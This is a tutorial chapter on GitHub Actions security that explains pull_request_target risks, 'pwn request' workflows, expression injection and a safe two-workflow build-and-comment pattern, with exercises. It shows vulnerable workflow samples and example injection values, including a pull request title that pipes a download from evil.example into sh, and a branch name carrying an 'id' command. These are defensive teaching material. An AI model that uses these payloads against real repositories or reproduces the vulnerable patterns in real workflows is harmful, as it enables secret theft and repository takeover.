Sub topic 14
Untrusted code and pull_request_target
This chapter assumes you can read workflow YAML and know how the permissions key works at workflow and job level. It also assumes you know that the token for a fork's pull_request run is read-only. Here you will see why the pull_request_target event is the usual place where that safety is lost, and how to use it safely.
Why this event is different
A workflow that triggers on pull_request runs the workflow file from the pull request's merge commit. When the pull request comes from a fork, GitHub gives that run a read-only GITHUB_TOKEN and withholds repository secrets. Untrusted code can run, but it has nothing valuable to steal.
pull_request_target reverses both choices:
- The workflow file comes from the base branch (usually
main), not from the pull request. A contributor cannot change it with their pull request. - The run keeps the base repository's secrets, even for fork pull requests.
- The token is not forced to read-only. It gets whatever your default setting and
permissionskey allow, which can include write access.
The reason is that some automation, such as labeling, greeting new contributors, and commenting, needs write access to a repository on behalf of a fork. The event is safe only while the workflow never runs code the pull request author controls.
| Property | `pull_request` (from a fork) | `pull_request_target` |
|---|---|---|
| Workflow file read from | Pull request merge commit | Base branch |
| Secrets available | No | Yes |
| Token permissions | Read-only, forced | As configured |
| Default checkout contents | Merged pull request code | Base branch code |
The "pwn request" pattern
The dangerous combination is a pull_request_target workflow that checks out the pull request head and then runs something from it. Here is a workflow with that flaw. Do not copy it.
# VULNERABLE: do not use
name: pr-test
on: pull_request_target
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm ci && npm testThe checkout step fetches the attacker's code. npm ci can run install scripts from the attacker's package.json, and npm test runs whatever script the attacker wrote. That code runs in a job that has the base repository's secrets and a token that may have write access. It can print secrets, push to branches, or publish a release.
Any command that reads files from the pull request can execute them. Common examples are npm test, make, pip install ., a local action (uses: ./.github/actions/...), and a script in the repository. Even a linter can load a configuration file that runs code.
Safe uses: act on metadata, not on code
Many jobs need only the pull request's metadata, such as its number or labels. They never need its files. For those jobs, do not check out anything and give the token only the one scope required:
name: label-pr
on: pull_request_target
permissions: {}
jobs:
label:
runs-on: ubuntu-latest
permissions:
contents: read
pull-requests: write
steps:
- uses: actions/labeler@v5The actions/labeler action reads its rules from the base branch and applies labels based on the list of changed file paths. It does not run the pull request's code. This job is safe because the token is narrow and no attacker-controlled code executes.
Untrusted values are code too
A workflow can be exploited without any checkout. GitHub expands ${{ ... }} expressions into the script text before the shell runs. If a value contains shell syntax, it becomes part of the script.
# VULNERABLE: do not use
- run: echo "Title: ${{ github.event.pull_request.title }}"A pull request titled "; curl https://evil.example/x | sh; " turns that line into a command that downloads and runs a script. The attacker controls the title, branch name, commit messages, issue body, and comment text. Pass these values through an environment variable, so the shell treats them as data:
- name: Print title safely
env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "Title: $TITLE"The shell receives the title as the contents of a variable. It does not parse the contents as commands. Also be careful with the github-script action. Do not build JavaScript source with ${{ }} expressions. Read the values from context.payload instead.
When you must build the pull request's code
If you need to test fork code and also report results back, split the work into two workflows. The first workflow runs the untrusted code with no privileges. The second workflow has privileges but treats the first one's output as untrusted data.
The unprivileged workflow uses pull_request. It saves only the pull request number:
name: pr-build
on: pull_request
permissions:
contents: read
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false
- run: make test
- run: echo "${{ github.event.number }}" > pr-number.txt
- uses: actions/upload-artifact@v4
with:
name: pr-number
path: pr-number.txtThe privileged workflow starts with workflow_run after the first one finishes. It runs from the default branch and never checks out the pull request:
name: pr-comment
on:
workflow_run:
workflows: [pr-build]
types: [completed]
permissions: {}
jobs:
comment:
if: github.event.workflow_run.conclusion == 'success'
runs-on: ubuntu-latest
permissions:
actions: read
pull-requests: write
steps:
- uses: actions/download-artifact@v4
with:
name: pr-number
run-id: ${{ github.event.workflow_run.id }}
github-token: ${{ secrets.GITHUB_TOKEN }}
- name: Comment on the pull request
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
REPO: ${{ github.repository }}
run: |
number=$(cat pr-number.txt)
if ! [[ "$number" =~ ^[0-9]+$ ]]; then
echo "Invalid pull request number" >&2
exit 1
fi
gh pr comment "$number" --repo "$REPO" --body "Build passed."The actions: read scope lets the job download an artifact from a different workflow run. The artifact came from fork code, so the script validates that it contains only digits before using it. Never run a downloaded file, and never put its contents into a run: line unchecked.
Rules that hold up in practice
- Prefer
pull_requestfor anything that builds, tests, or lints code. - In a
pull_request_targetjob, do not check out the pull request head. If a checkout is truly needed, understand that every later step is running untrusted code. - Start the workflow with
permissions: {}and add only the scopes each job needs. - Keep secrets out of any job that touches pull request content. Pass a secret only to the step that uses it.
- Treat all event text fields as hostile, and route them through
env:. - Set
persist-credentials: falseon any checkout, so later steps cannot read the token from the local git configuration. - Pin third-party actions that run in privileged jobs to a full commit SHA.
Exercise
A workflow uses on: pull_request_target, sets permissions: {} at the top, and has one job with contents: read and pull-requests: write. The job checks out ${{ github.event.pull_request.head.sha }} and runs make lint. What is wrong, and what is the smallest correct fix if the lint results must still reach the pull request?
Show answer
The job runs the pull request author's Makefile and any code it calls. That code runs with the base repository's secrets and a token that can write to pull requests. Narrow permissions limit the damage but do not stop it. The fix is to move linting to a pull_request workflow with contents: read and no secrets. That workflow uploads the results, or just the pull request number, as an artifact. A separate workflow_run workflow then downloads the artifact, validates it, and posts the comment with pull-requests: write, without checking out pull request code.
Exercise
Rewrite run: echo "Branch: ${{ github.head_ref }}" so that a branch named x"; id; " cannot execute commands.
Show answer
Pass the value through an environment variable: set env: BRANCH: ${{ github.head_ref }} on the step and use run: echo "Branch: $BRANCH". The shell then treats the branch name as the contents of a variable and does not parse it as script.